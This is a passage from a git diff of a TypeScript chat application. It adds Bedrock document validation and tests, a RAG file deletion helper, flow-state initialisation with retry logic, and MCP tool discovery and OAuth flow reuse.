params.userId - The user ID for authentication. + * @param params.file - The file object. Must have `embedded` and `file_id` properties. + * @returns Returns true if deletion was successful or skipped, false if there was an error. + */ +export async function deleteRagFile({ userId, file }: DeleteRagFileParams): Promise { + if (!file.embedded || !process.env.RAG_API_URL) { + return true; + } + + if (!userId) { + logger.error('[deleteRagFile] No user ID provided'); + return false; + } + + const jwtToken = generateShortLivedToken(userId); + + try { + await axios.delete(`${process.env.RAG_API_URL}/documents`, { + headers: { + Authorization: `Bearer ${jwtToken}`, + 'Content-Type': 'application/json', + accept: 'application/json', + }, + data: [file.file_id], + }); + logger.debug(`[deleteRagFile] Successfully deleted document ${file.file_id} from RAG API`); + return true; + } catch (error) { + const axiosError = error as { response?: { status?: number }; message?: string }; + if (axiosError.response?.status === 404) { + logger.warn( + `[deleteRagFile] Document ${file.file_id} not found in RAG API, may have been deleted already`, + ); + return true; + } else { + logger.error('[deleteRagFile] Error deleting document from RAG API:', axiosError.message); + return false; + } + } +} diff --git a/packages/api/src/files/validation.spec.ts b/packages/api/src/files/validation.spec.ts index 384f499f43..98dcda4188 100644 --- a/packages/api/src/files/validation.spec.ts +++ b/packages/api/src/files/validation.spec.ts @@ -1,6 +1,6 @@ import { Providers } from '@librechat/agents'; import { mbToBytes } from 'librechat-data-provider'; -import { validatePdf, validateVideo, validateAudio } from './validation'; +import { validatePdf, validateBedrockDocument, validateVideo, validateAudio } from './validation'; describe('PDF Validation with fileConfig.endpoints.*.fileSizeLimit', () => { /** Helper to create a PDF buffer with valid header */ @@ -145,6 +145,122 @@ describe('PDF Validation with fileConfig.endpoints.*.fileSizeLimit', () => { }); }); + describe('validatePdf - Bedrock provider', () => { + const provider = Providers.BEDROCK; + + it('should accept PDF within provider limit when no config provided', async () => { + const pdfBuffer = createMockPdfBuffer(3); + const result = await validatePdf(pdfBuffer, pdfBuffer.length, provider); + + expect(result.isValid).toBe(true); + expect(result.error).toBeUndefined(); + }); + + it('should reject PDF exceeding 4.5MB hard limit when no config provided', async () => { + const pdfBuffer = createMockPdfBuffer(5); + const result = await validatePdf(pdfBuffer, pdfBuffer.length, provider); + + expect(result.isValid).toBe(false); + expect(result.error).toContain('4.5MB'); + }); + + it('should use configured limit when it is lower than provider limit', async () => { + const configuredLimit = mbToBytes(2); + const pdfBuffer = createMockPdfBuffer(3); + const result = await validatePdf(pdfBuffer, pdfBuffer.length, provider, configuredLimit); + + expect(result.isValid).toBe(false); + expect(result.error).toContain('2.0MB'); + }); + + it('should clamp to 4.5MB hard limit even when config is higher', async () => { + const configuredLimit = mbToBytes(512); + const pdfBuffer = createMockPdfBuffer(5); + const result = await validatePdf(pdfBuffer, pdfBuffer.length, provider, configuredLimit); + + expect(result.isValid).toBe(false); + expect(result.error).toContain('4.5MB'); + }); + + it('should reject PDFs with invalid header', async () => { + const pdfBuffer = Buffer.alloc(1024); + pdfBuffer.write('INVALID', 0); + const result = await validatePdf(pdfBuffer, pdfBuffer.length, provider); + + expect(result.isValid).toBe(false); + expect(result.error).toContain('PDF header'); + }); + + it('should reject PDFs that are too small', async () => { + const pdfBuffer = Buffer.alloc(3); + const result = await validatePdf(pdfBuffer, pdfBuffer.length, provider); + + expect(result.isValid).toBe(false); + expect(result.error).toContain('too small'); + }); + }); + + describe('validateBedrockDocument - non-PDF types', () => { + it('should accept CSV within 4.5MB limit', async () => { + const fileSize = 2 * 1024 * 1024; + const result = await validateBedrockDocument(fileSize, 'text/csv'); + + expect(result.isValid).toBe(true); + expect(result.error).toBeUndefined(); + }); + + it('should accept DOCX within 4.5MB limit', async () => { + const fileSize = 3 * 1024 * 1024; + const mimeType = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'; + const result = await validateBedrockDocument(fileSize, mimeType); + + expect(result.isValid).toBe(true); + expect(result.error).toBeUndefined(); + }); + + it('should reject non-PDF document exceeding 4.5MB hard limit', async () => { + const fileSize = 5 * 1024 * 1024; + const result = await validateBedrockDocument(fileSize, 'text/plain'); + + expect(result.isValid).toBe(false); + expect(result.error).toContain('4.5MB'); + }); + + it('should clamp to 4.5MB even when config is higher for non-PDF', async () => { + const fileSize = 5 * 1024 * 1024; + const configuredLimit = mbToBytes(512); + const result = await validateBedrockDocument(fileSize, 'text/html', undefined, configuredLimit); + + expect(result.isValid).toBe(false); + expect(result.error).toContain('4.5MB'); + }); + + it('should use configured limit when lower than provider limit for non-PDF', async () => { + const fileSize = 3 * 1024 * 1024; + const configuredLimit = mbToBytes(2); + const result = await validateBedrockDocument(fileSize, 'text/markdown', undefined, configuredLimit); + + expect(result.isValid).toBe(false); + expect(result.error).toContain('2.0MB'); + }); + + it('should not run PDF header check on non-PDF types', async () => { + const buffer = Buffer.from('NOT-A-PDF-HEADER-but-valid-csv-content'); + const result = await validateBedrockDocument(buffer.length, 'text/csv', buffer); + + expect(result.isValid).toBe(true); + }); + + it('should still run PDF header check when mimeType is application/pdf', async () => { + const buffer = Buffer.alloc(1024); + buffer.write('INVALID', 0); + const result = await validateBedrockDocument(buffer.length, 'application/pdf', buffer); + + expect(result.isValid).toBe(false); + expect(result.error).toContain('PDF header'); + }); + }); + describe('validatePdf - Google provider', () => { const provider = Providers.GOOGLE; diff --git a/packages/api/src/files/validation.ts b/packages/api/src/files/validation.ts index 4b36ac0bff..b3db19e92a 100644 --- a/packages/api/src/files/validation.ts +++ b/packages/api/src/files/validation.ts @@ -1,6 +1,11 @@ import { Providers } from '@librechat/agents'; import { mbToBytes, isOpenAILikeProvider } from 'librechat-data-provider'; +export interface ValidationResult { + isValid: boolean; + error?: string; +} + export interface PDFValidationResult { isValid: boolean; error?: string; @@ -31,6 +36,10 @@ export async function validatePdf( return validateAnthropicPdf(pdfBuffer, fileSize, configuredFileSizeLimit); } + if (provider === Providers.BEDROCK) { + return validateBedrockDocument(fileSize, 'application/pdf', pdfBuffer, configuredFileSizeLimit); + } + if (isOpenAILikeProvider(provider)) { return validateOpenAIPdf(fileSize, configuredFileSizeLimit); } @@ -113,6 +122,64 @@ async function validateAnthropicPdf( } } +/** + * Validates a document against Bedrock's 4.5MB hard limit. PDF-specific header + * checks run only when the MIME type is `application/pdf`. + * @param fileSize - The file size in bytes + * @param mimeType - The MIME type of the document + * @param fileBuffer - The file buffer (used for PDF header validation) + * @param configuredFileSizeLimit - Optional configured file size limit from fileConfig (in bytes) + * @returns Promise that resolves to validation result + */ +export async function validateBedrockDocument( + fileSize: number, + mimeType: string, + fileBuffer?: Buffer, + configuredFileSizeLimit?: number, +): Promise { + try { + /** Bedrock enforces a hard 4.5MB per-document limit at the API level; config can only lower it */ + const providerLimit = mbToBytes(4.5); + const effectiveLimit = + configuredFileSizeLimit != null + ? Math.min(configuredFileSizeLimit, providerLimit) + : providerLimit; + + if (fileSize > effectiveLimit) { + const limitMB = (effectiveLimit / (1024 * 1024)).toFixed(1); + return { + isValid: false, + error: `File size (${(fileSize / (1024 * 1024)).toFixed(1)}MB) exceeds the ${limitMB}MB limit for Bedrock`, + }; + } + + if (mimeType === 'application/pdf' && fileBuffer) { + if (fileBuffer.length < 5) { + return { + isValid: false, + error: 'Invalid PDF file: too small or corrupted', + }; + } + + const pdfHeader = fileBuffer.subarray(0, 5).toString(); + if (!pdfHeader.startsWith('%PDF-')) { + return { + isValid: false, + error: 'Invalid PDF file: missing PDF header', + }; + } + } + + return { isValid: true }; + } catch (error) { + console.error('Bedrock document validation error:', error); + return { + isValid: false, + error: 'Failed to validate document file', + }; + } +} + /** * Validates if a PDF meets OpenAI's requirements * @param fileSize - The file size in bytes diff --git a/packages/api/src/flow/manager.test.ts b/packages/api/src/flow/manager.test.ts index a419f4aeab..b34dcbafab 100644 --- a/packages/api/src/flow/manager.test.ts +++ b/packages/api/src/flow/manager.test.ts @@ -24,7 +24,6 @@ class MockKeyv { return this.store.get(key); } - // eslint-disable-next-line @typescript-eslint/no-unused-vars async set(key: string, value: FlowState, _ttl?: number): Promise { this.store.set(key, value); return true; @@ -160,6 +159,71 @@ describe('FlowStateManager', () => { }, 15000); }); + describe('initFlow', () => { + const flowId = 'init-test-flow'; + const type = 'test-type'; + const flowKey = `${type}:${flowId}`; + + it('stores a PENDING flow state in the cache', async () => { + await flowManager.initFlow(flowId, type, { serverName: 'test' }); + + const state = await store.get(flowKey); + expect(state).toBeDefined(); + expect(state!.status).toBe('PENDING'); + expect(state!.type).toBe(type); + expect(state!.metadata).toEqual({ serverName: 'test' }); + expect(state!.createdAt).toBeGreaterThan(0); + }); + + it('overwrites an existing flow state', async () => { + await store.set(flowKey, { + type, + status: 'COMPLETED', + metadata: { old: true }, + createdAt: Date.now() - 10000, + }); + + await flowManager.initFlow(flowId, type, { new: true }); + + const state = await store.get(flowKey); + expect(state!.status).toBe('PENDING'); + expect(state!.metadata).toEqual({ new: true }); + }); + + it('allows createFlow to find and monitor the pre-stored state', async () => { + // initFlow stores the PENDING state + await flowManager.initFlow(flowId, type, { preStored: true }); + + // createFlow should find the existing state and start monitoring + const flowPromise = flowManager.createFlow(flowId, type); + + // Complete the flow so the monitor resolves + await new Promise((resolve) => setTimeout(resolve, 500)); + await flowManager.completeFlow(flowId, type, 'success'); + + const result = await flowPromise; + expect(result).toBe('success'); + }, 15000); + + it('passes the configured TTL to keyv.set', async () => { + const setSpy = jest.spyOn(store, 'set'); + + await flowManager.initFlow(flowId, type, { serverName: 'test' }); + + expect(setSpy).toHaveBeenCalledWith( + flowKey, + expect.objectContaining({ status: 'PENDING' }), + 30000, + ); + }); + + it('propagates store write failures', async () => { + jest.spyOn(store, 'set').mockRejectedValueOnce(new Error('Store write failed')); + + await expect(flowManager.initFlow(flowId, type)).rejects.toThrow('Store write failed'); + }); + }); + describe('deleteFlow', () => { const flowId = 'test-flow-123'; const type = 'test-type'; diff --git a/packages/api/src/flow/manager.ts b/packages/api/src/flow/manager.ts index 2e2731a2d4..b68b9edb7a 100644 --- a/packages/api/src/flow/manager.ts +++ b/packages/api/src/flow/manager.ts @@ -3,6 +3,18 @@ import { logger } from '@librechat/data-schemas'; import type { StoredDataNoRaw } from 'keyv'; import type { FlowState, FlowMetadata, FlowManagerOptions } from './types'; +export const PENDING_STALE_MS = 2 * 60 * 1000; + +const SECONDS_THRESHOLD = 1e10; + +/** + * Normalizes an expiration timestamp to milliseconds. + * Timestamps below 10 billion are assumed to be in seconds (valid until ~2286). + */ +export function normalizeExpiresAt(timestamp: number): number { + return timestamp < SECONDS_THRESHOLD ? timestamp * 1000 : timestamp; +} + export class FlowStateManager { private keyv: Keyv; private ttl: number; @@ -45,32 +57,8 @@ export class FlowStateManager { return `${type}:${flowId}`; } - /** - * Normalizes an expiration timestamp to milliseconds. - * Detects whether the input is in seconds or milliseconds based on magnitude. - * Timestamps below 10 billion are assumed to be in seconds (valid until ~2286). - * @param timestamp - The expiration timestamp (in seconds or milliseconds) - * @returns The timestamp normalized to milliseconds - */ - private normalizeExpirationTimestamp(timestamp: number): number { - const SECONDS_THRESHOLD = 1e10; - if (timestamp < SECONDS_THRESHOLD) { - return timestamp * 1000; - } - return timestamp; - } - - /** - * Checks if a flow's token has expired based on its expires_at field - * @param flowState - The flow state to check - * @returns true if the token has expired, false otherwise (including if no expires_at exists) - */ private isTokenExpired(flowState: FlowState | undefined): boolean { - if (!flowState?.result) { - return false; - } - - if (typeof flowState.result !== 'object') { + if (!flowState?.result || typeof flowState.result !== 'object') { return false; } @@ -79,13 +67,29 @@ export class FlowStateManager { } const expiresAt = (flowState.result as { expires_at: unknown }).expires_at; - if (typeof expiresAt !== 'number' || !Number.isFinite(expiresAt)) { return false; } - const normalizedExpiresAt = this.normalizeExpirationTimestamp(expiresAt); - return normalizedExpiresAt < Date.now(); + return normalizeExpiresAt(expiresAt) < Date.now(); + } + + /** + * Stores initial PENDING flow state without starting the monitor loop. + * Use this when you need to guarantee the state is persisted before + * performing an action (e.g., an OAuth redirect), then call createFlow() + * separately to start monitoring for completion. + */ + async initFlow(flowId: string, type: string, metadata: FlowMetadata = {}): Promise { + const flowKey = this.getFlowKey(flowId, type); + const initialState: FlowState = { + type, + status: 'PENDING', + metadata, + createdAt: Date.now(), + }; + logger.debug(`[${flowKey}] Storing initial flow state`); + await this.keyv.set(flowKey, initialState, this.ttl); } /** @@ -131,6 +135,8 @@ export class FlowStateManager { let elapsedTime = 0; let isCleanedUp = false; let intervalId: NodeJS.Timeout | null = null; + let missingStateRetried = false; + let isRetrying = false; // Cleanup function to avoid duplicate cleanup const cleanup = () => { @@ -170,16 +176,29 @@ export class FlowStateManager { } intervalId = setInterval(async () => { - if (isCleanedUp) return; + if (isCleanedUp || isRetrying) return; try { - const flowState = (await this.keyv.get(flowKey)) as FlowState | undefined; + let flowState = (await this.keyv.get(flowKey)) as FlowState | undefined; if (!flowState) { - cleanup(); - logger.error(`[${flowKey}] Flow state not found`); - reject(new Error(`${type} Flow state not found`)); - return; + if (!missingStateRetried) { + missingStateRetried = true; + isRetrying = true; + logger.warn( + `[${flowKey}] Flow state not found, retrying once after 500ms (race recovery)`, + ); + await new Promise((r) => setTimeout(r, 500)); + flowState = (await this.keyv.get(flowKey)) as FlowState | undefined; + isRetrying = false; + } + + if (!flowState) { + cleanup(); + logger.error(`[${flowKey}] Flow state not found after retry`); + reject(new Error(`${type} Flow state not found`)); + return; + } } if (signal?.aborted) { @@ -233,10 +252,10 @@ export class FlowStateManager { const flowState = (await this.keyv.get(flowKey)) as FlowState | undefined; if (!flowState) { - logger.warn('[FlowStateManager] Cannot complete flow - flow state not found', { - flowId, - type, - }); + logger.warn( + '[FlowStateManager] Flow state not found during completion — cannot recover metadata, skipping', + { flowId, type }, + ); return false; } @@ -279,7 +298,7 @@ export class FlowStateManager { async isFlowStale( flowId: string, type: string, - staleThresholdMs: number = 2 * 60 * 1000, + staleThresholdMs: number = PENDING_STALE_MS, ): Promise<{ isStale: boolean; age: number; status?: string }> { const flowKey = this.getFlowKey(flowId, type); const flowState = (await this.keyv.get(flowKey)) as FlowState | undefined; diff --git a/packages/api/src/index.ts b/packages/api/src/index.ts index 492b59f232..687ee7aa49 100644 --- a/packages/api/src/index.ts +++ b/packages/api/src/index.ts @@ -2,6 +2,8 @@ export * from './app'; export * from './cdn'; /* Auth */ export * from './auth'; +/* API Keys */ +export * from './apiKeys'; /* MCP */ export * from './mcp/registry/MCPServersRegistry'; export * from './mcp/MCPManager'; @@ -13,6 +15,8 @@ export * from './mcp/errors'; /* Utilities */ export * from './mcp/utils'; export * from './utils'; +export { default as Tokenizer, countTokens } from './utils/tokenizer'; +export type { EncodingName } from './utils/tokenizer'; export * from './db/utils'; /* OAuth */ export * from './oauth'; @@ -41,6 +45,8 @@ export * from './web'; export * from './cache'; /* Stream */ export * from './stream'; +/* Diagnostics */ +export { memoryDiagnostics } from './utils/memory'; /* types */ export type * from './mcp/types'; export type * from './flow/types'; diff --git a/packages/api/src/mcp/ConnectionsRepository.ts b/packages/api/src/mcp/ConnectionsRepository.ts index e2c48c88ab..e629934dda 100644 --- a/packages/api/src/mcp/ConnectionsRepository.ts +++ b/packages/api/src/mcp/ConnectionsRepository.ts @@ -4,6 +4,8 @@ import { MCPConnection } from './connection'; import { MCPServersRegistry } from '~/mcp/registry/MCPServersRegistry'; import type * as t from './types'; +const CONNECT_CONCURRENCY = 3; + /** * Manages MCP connections with lazy loading and reconnection. * Maintains a pool of connections and handles connection lifecycle management. @@ -23,6 +25,11 @@ export class ConnectionsRepository { this.oauthOpts = oauthOpts; } + /** Returns the number of active connections in this repository */ + public getConnectionCount(): number { + return this.connections.size; + } + /** Checks whether this repository can connect to a specific server */ async has(serverName: string): Promise { const config = await MCPServersRegistry.getInstance().getServerConfig(serverName, this.ownerId); @@ -73,6 +80,8 @@ export class ConnectionsRepository { { serverName, serverConfig, + dbSourced: !!(serverConfig as t.ParsedServerConfig).dbId, + useSSRFProtection: MCPServersRegistry.getInstance().shouldEnableSSRFProtection(), }, this.oauthOpts, ); @@ -83,9 +92,17 @@ export class ConnectionsRepository { /** Gets or creates connections for multiple servers concurrently */ async getMany(serverNames: string[]): Promise> { - const connectionPromises = serverNames.map(async (name) => [name, await this.get(name)]); - const connections = await Promise.all(connectionPromises); - return new Map((connections as [string, MCPConnection][]).filter((v) => !!v[1])); + const results: [string, MCPConnection | null][] = []; + for (let i = 0; i < serverNames.length; i += CONNECT_CONCURRENCY) { + const batch = serverNames.slice(i, i + CONNECT_CONCURRENCY); + const batchResults = await Promise.all( + batch.map( + async (name): Promise<[string, MCPConnection | null]> => [name, await this.get(name)], + ), + ); + results.push(...batchResults); + } + return new Map(results.filter((v): v is [string, MCPConnection] => v[1] != null)); } /** Returns all currently loaded connections without creating new ones */ @@ -123,6 +140,9 @@ export class ConnectionsRepository { } private isAllowedToConnectToServer(config: t.ParsedServerConfig) { + if (config.inspectionFailed) { + return false; + } //the repository is not allowed to be connected in case the Connection repository is shared (ownerId is undefined/null) and the server requires Auth or startup false. if (this.ownerId === undefined && (config.startup === false || config.requiresOAuth)) { return false; diff --git a/packages/api/src/mcp/MCPConnectionFactory.ts b/packages/api/src/mcp/MCPConnectionFactory.ts index 1a97755ec3..0fc86e0315 100644 --- a/packages/api/src/mcp/MCPConnectionFactory.ts +++ b/packages/api/src/mcp/MCPConnectionFactory.ts @@ -1,16 +1,24 @@ import { logger } from '@librechat/data-schemas'; import type { OAuthClientInformation } from '@modelcontextprotocol/sdk/shared/auth.js'; +import type { Tool } from '@modelcontextprotocol/sdk/types.js'; import type { TokenMethods } from '@librechat/data-schemas'; -import type { MCPOAuthTokens, OAuthMetadata } from '~/mcp/oauth'; +import type { MCPOAuthTokens, OAuthMetadata, MCPOAuthFlowMetadata } from '~/mcp/oauth'; import type { FlowStateManager } from '~/flow/manager'; -import type { FlowMetadata } from '~/flow/types'; import type * as t from './types'; -import { MCPTokenStorage, MCPOAuthHandler } from '~/mcp/oauth'; +import { MCPTokenStorage, MCPOAuthHandler, ReauthenticationRequiredError } from '~/mcp/oauth'; +import { PENDING_STALE_MS, normalizeExpiresAt } from '~/flow/manager'; import { sanitizeUrlForLogging } from './utils'; import { withTimeout } from '~/utils/promise'; import { MCPConnection } from './connection'; import { processMCPEnv } from '~/utils'; +export interface ToolDiscoveryResult { + tools: Tool[] | null; + connection: MCPConnection | null; + oauthRequired: boolean; + oauthUrl: string | null; +} + /** * Factory for creating MCP connections with optional OAuth authentication. * Handles OAuth flows, token management, and connection retry logic. @@ -21,6 +29,7 @@ export class MCPConnectionFactory { protected readonly serverConfig: t.MCPOptions; protected readonly logPrefix: string; protected readonly useOAuth: boolean; + protected readonly useSSRFProtection: boolean; // OAuth-related properties (only set when useOAuth is true) protected readonly userId?: string; @@ -41,22 +50,160 @@ export class MCPConnectionFactory { return factory.createConnection(); } + /** + * Discovers tools from an MCP server, even when OAuth is required. + * Per MCP spec, tool listing should be possible without authentication. + * Returns tools if discoverable, plus OAuth status for tool execution. + */ + static async discoverTools( + basic: t.BasicConnectionOptions, + oauth?: Omit, + ): Promise { + const factory = new this(basic, oauth ? { ...oauth, returnOnOAuth: true } : undefined); + return factory.discoverToolsInternal(); + } + + protected async discoverToolsInternal(): Promise { + const oauthUrl: string | null = null; + let oauthRequired = false; + + const oauthTokens = this.useOAuth ? await this.getOAuthTokens() : null; + const connection = new MCPConnection({ + serverName: this.serverName, + serverConfig: this.serverConfig, + userId: this.userId, + oauthTokens, + useSSRFProtection: this.useSSRFProtection, + }); + + const oauthHandler = async () => { + logger.info( + `${this.logPrefix} [Discovery] OAuth required; skipping URL generation in discovery mode`, + ); + oauthRequired = true; + connection.emit('oauthFailed', new Error('OAuth required during tool discovery')); + }; + + if (this.useOAuth) { + connection.on('oauthRequired', oauthHandler); + } + + try { + const connectTimeout = this.connectionTimeout ?? this.serverConfig.initTimeout ?? 30000; + await withTimeout( + connection.connect(), + connectTimeout, + `Connection timeout after ${connectTimeout}ms`, + ); + + if (await connection.isConnected()) { + const tools = await connection.fetchTools(); + if (this.useOAuth) { + connection.removeListener('oauthRequired', oauthHandler); + } + return { tools, connection, oauthRequired: false, oauthUrl: null }; + } + } catch { + MCPConnection.decrementCycleCount(this.serverName); + logger.debug( + `${this.logPrefix} [Discovery] Connection failed, attempting unauthenticated tool listing`, + ); + } + + try { + const tools = await this.attemptUnauthenticatedToolListing(); + if (this.useOAuth) { + connection.removeListener('oauthRequired', oauthHandler); + } + if (tools && tools.length > 0) { + logger.info( + `${this.logPrefix} [Discovery] Successfully discovered ${tools.length} tools without auth`, + ); + try { + await connection.disconnect(); + } catch { + // Ignore cleanup errors + } + return { tools, connection: null, oauthRequired, oauthUrl }; + } + MCPConnection.decrementCycleCount(this.serverName); + } catch (listError) { + MCPConnection.decrementCycleCount(this.serverName); + logger.debug(`${this.logPrefix} [Discovery] Unauthenticated tool listing failed:`, listError); + } + + if (this.useOAuth) { + connection.removeListener('oauthRequired', oauthHandler); + } + + try { + await connection.disconnect(); + } catch { + // Ignore cleanup errors + } + + return { tools: null, connection: null, oauthRequired, oauthUrl }; + } + + protected async attemptUnauthenticatedToolListing(): Promise { + const unauthConnection = new MCPConnection({ + serverName: this.serverName, + serverConfig: this.serverConfig, + userId: this.userId, + oauthTokens: null, + useSSRFProtection: this.useSSRFProtection, + }); + + unauthConnection.on('oauthRequired', () => { + logger.debug( + `${this.logPrefix} [Discovery] Unauthenticated connection requires OAuth, failing fast`, + ); + unauthConnection.emit( + 'oauthFailed', + new Error('OAuth not supported in unauthenticated discovery'), + ); + }); + + try { + const connectTimeout = this.connectionTimeout ?? this.serverConfig.initTimeout ?? 15000; + await withTimeout(unauthConnection.connect(), connectTimeout, `Unauth connection timeout`); + + if (await unauthConnection.isConnected()) { + const tools = await unauthConnection.fetchTools(); + await unauthConnection.disconnect(); + return tools; + } + } catch { + logger.debug(`${this.logPrefix} [Discovery] Unauthenticated connection attempt failed`); + } + + try { + await unauthConnection.disconnect(); + } catch { + // Ignore cleanup errors + } + + return null; + } + protected constructor(basic: t.BasicConnectionOptions, oauth?: t.OAuthConnectionOptions) { this.serverConfig = processMCPEnv({ - options: basic.serverConfig, user: oauth?.user, - customUserVars: oauth?.customUserVars, body: oauth?.requestBody, + dbSourced: basic.dbSourced, + options: basic.serverConfig, + customUserVars: oauth?.customUserVars, }); this.serverName = basic.serverName; this.useOAuth = !!oauth?.useOAuth; + this.useSSRFProtection = basic.useSSRFProtection === true; this.connectionTimeout = oauth?.connectionTimeout; this.logPrefix = oauth?.user ? `[MCP][${basic.serverName}][${oauth.user.id}]` : `[MCP][${basic.serverName}]`; if (oauth?.useOAuth) { - this.userId = oauth.user.id; + this.userId = oauth.user?.id; this.flowManager = oauth.flowManager; this.tokenMethods = oauth.tokenMethods; this.signal = oauth.signal; @@ -74,6 +221,7 @@ export class MCPConnectionFactory { serverConfig: this.serverConfig, userId: this.userId, oauthTokens, + useSSRFProtection: this.useSSRFProtection, }); let cleanupOAuthHandlers: (() => void) | null = null; @@ -120,6 +268,10 @@ export class MCPConnectionFactory { if (tokens) logger.info(`${this.logPrefix} Loaded OAuth tokens`); return tokens; } catch (error) { + if (error instanceof ReauthenticationRequiredError) { + logger.info(`${this.logPrefix} ${error.message}, will trigger OAuth flow`); + return null; + } logger.debug(`${this.logPrefix} No existing tokens found or error loading tokens`, error); return null; } @@ -154,29 +306,59 @@ export class MCPConnectionFactory { const oauthHandler = async (data: { serverUrl?: string }) => { logger.info(`${this.logPrefix} oauthRequired event received`); - // If we just want to initiate OAuth and return, handle it differently if (this.returnOnOAuth) { try { const config = this.serverConfig; - const { authorizationUrl, flowId, flowMetadata } = - await MCPOAuthHandler.initiateOAuthFlow( - this.serverName, - data.serverUrl || '', - this.userId!, - config?.oauth_headers ?? {}, - config?.oauth, + const flowId = MCPOAuthHandler.generateFlowId(this.userId!, this.serverName); + const existingFlow = await this.flowManager!.getFlowState(flowId, 'mcp_oauth'); + + if (existingFlow?.status === 'PENDING') { + const pendingAge = existingFlow.createdAt + ? Date.now() - existingFlow.createdAt + : Infinity; + + if (pendingAge < PENDING_STALE_MS) { + logger.debug( + `${this.logPrefix} Recent PENDING OAuth flow exists (${Math.round(pendingAge / 1000)}s old), skipping new initiation`, + ); + connection.emit('oauthFailed', new Error('OAuth flow initiated - return early')); + return; + } + + logger.debug( + `${this.logPrefix} Found stale PENDING OAuth flow (${Math.round(pendingAge / 1000)}s old), will replace`, ); + } - // Delete any existing flow state to ensure we start fresh - // This prevents stale codeVerifier issues when re-authenticating - await this.flowManager!.deleteFlow(flowId, 'mcp_oauth'); + const { + authorizationUrl, + flowId: newFlowId, + flowMetadata, + } = await MCPOAuthHandler.initiateOAuthFlow( + this.serverName, + data.serverUrl || '', + this.userId!, + config?.oauth_headers ?? {}, + config?.oauth, + ); - // Create the flow state so the OAuth callback can find it - // We spawn this in the background without waiting for it - // Pass signal so the flow can be aborted if the request is cancelled - this.flowManager!.createFlow(flowId, 'mcp_oauth', flowMetadata, this.signal).catch(() => { - // The OAuth callback will resolve this flow, so we expect it to timeout here - // or it will be aborted if the request is cancelled - both are fine + if (existingFlow) { + const oldState = (existingFlow.metadata as MCPOAuthFlowMetadata)?.state; + await this.flowManager!.deleteFlow(newFlowId, 'mcp_oauth'); + if (oldState) { + await MCPOAuthHandler.deleteStateMapping(oldState, this.flowManager!); + } + } + + // Store flow state BEFORE redirecting so the callback can find it + const metadataWithUrl = { ...flowMetadata, authorizationUrl }; + await this.flowManager!.initFlow(newFlowId, 'mcp_oauth', metadataWithUrl); + await MCPOAuthHandler.storeStateMapping(flowMetadata.state, newFlowId, this.flowManager!); + + // Start monitoring in background — createFlow will find the existing PENDING state + // written by initFlow above, so metadata arg is unused (pass {} to make that explicit) + this.flowManager!.createFlow(newFlowId, 'mcp_oauth', {}, this.signal).catch((error) => { + logger.debug(`${this.logPrefix} OAuth flow monitor ended`, error); }); if (this.oauthStart) { @@ -184,8 +366,6 @@ export class MCPConnectionFactory { await this.oauthStart(authorizationUrl); } - // Emit oauthFailed to signal that connection should not proceed - // but OAuth was successfully initiated connection.emit('oauthFailed', new Error('OAuth flow initiated - return early')); return; } catch (error) { @@ -247,11 +427,9 @@ export class MCPConnectionFactory { logger.error(`${this.logPrefix} Failed to establish connection.`); } - // Handles connection attempts with retry logic and OAuth error handling private async connectTo(connection: MCPConnection): Promise { const maxAttempts = 3; let attempts = 0; - let oauthHandled = false; while (attempts < maxAttempts) { try { @@ -264,22 +442,6 @@ export class MCPConnectionFactory { attempts++; if (this.useOAuth && this.isOAuthError(error)) { - // For returnOnOAuth mode, let the event handler (handleOAuthEvents) deal with OAuth - // We just need to stop retrying and let the error propagate - if (this.returnOnOAuth) { - logger.info( - `${this.logPrefix} OAuth required (return on OAuth mode), stopping retries`, - ); - throw error; - } - - // Normal flow - wait for OAuth to complete - if (this.oauthStart && !oauthHandled) { - oauthHandled = true; - logger.info(`${this.logPrefix} Handling OAuth`); - await this.handleOAuthRequired(); - } - // Don't retry on OAuth errors - just throw logger.info(`${this.logPrefix} OAuth required, stopping connection attempts`); throw error; } @@ -355,26 +517,79 @@ export class MCPConnectionFactory { /** Check if there's already an ongoing OAuth flow for this flowId */ const existingFlow = await this.flowManager.getFlowState(flowId, 'mcp_oauth'); - // If any flow exists (PENDING, COMPLETED, FAILED), cancel it and start fresh - // This ensures the user always gets a new OAuth URL instead of waiting for stale flows if (existingFlow) { + const flowMeta = existingFlow.metadata as MCPOAuthFlowMetadata | undefined; + + if (existingFlow.status === 'PENDING') { + const pendingAge = existingFlow.createdAt + ? Date.now() - existingFlow.createdAt + : Infinity; + + if (pendingAge < PENDING_STALE_MS) { + logger.debug( + `${this.logPrefix} Found recent PENDING OAuth flow (${Math.round(pendingAge / 1000)}s old), joining instead of creating new one`, + ); + + const storedAuthUrl = flowMeta?.authorizationUrl; + if (storedAuthUrl && typeof this.oauthStart === 'function') { + logger.info( + `${this.logPrefix} Re-issuing stored authorization URL to caller while joining PENDING flow`, + ); + await this.oauthStart(storedAuthUrl); + } + + const tokens = await this.flowManager.createFlow(flowId, 'mcp_oauth', {}, this.signal); + if (typeof this.oauthEnd === 'function') { + await this.oauthEnd(); + } + logger.info( + `${this.logPrefix} Joined existing OAuth flow completed for ${this.serverName}`, + ); + return { + tokens, + clientInfo: flowMeta?.clientInfo, + metadata: flowMeta?.metadata, + }; + } + + logger.debug( + `${this.logPrefix} Found stale PENDING OAuth flow (${Math.round(pendingAge / 1000)}s old), will delete and start fresh`, + ); + } + + if (existingFlow.status === 'COMPLETED') { + const completedAge = existingFlow.completedAt + ? Date.now() - existingFlow.completedAt + : Infinity; + const cachedTokens = existingFlow.result as MCPOAuthTokens | null | undefined; + const isTokenExpired = + cachedTokens?.expires_at != null && + normalizeExpiresAt(cachedTokens.expires_at) < Date.now(); + + if (completedAge <= PENDING_STALE_MS && cachedTokens !== undefined && !isTokenExpired) { + logger.debug( + `${this.logPrefix} Found non-stale COMPLETED OAuth flow, reusing cached tokens`, + ); + return { + tokens: cachedTokens, + clientInfo: flowMeta?.clientInfo, + metadata: flowMeta?.metadata, + }; + } + } + logger.debug( - `${this.logPrefix} Found existing OAuth flow (status: ${existingFlow.status}), cancelling to start fresh`, + `${this.logPrefix} Found existing OAuth flow (status: ${existingFlow.status}), cleaning up to start fresh`, ); try { - if (existingFlow.status === 'PENDING') { - await this.flowManager.failFlow( - flowId, - 'mcp_oauth', - new Error('Cancelled for new OAuth request'), - ); - } else { - await this.flowManager.deleteFlow(flowId, 'mcp_oauth'); + const oldState = flowMeta?.state; + await this.flowManager.deleteFlow(flowId, 'mcp_oauth'); + if (oldState) { + await MCPOAuthHandler.deleteStateMapping(oldState, this.flowManager); } } catch (error) { - logger.warn(`${this.logPrefix} Failed to cancel existing OAuth flow`, error); + 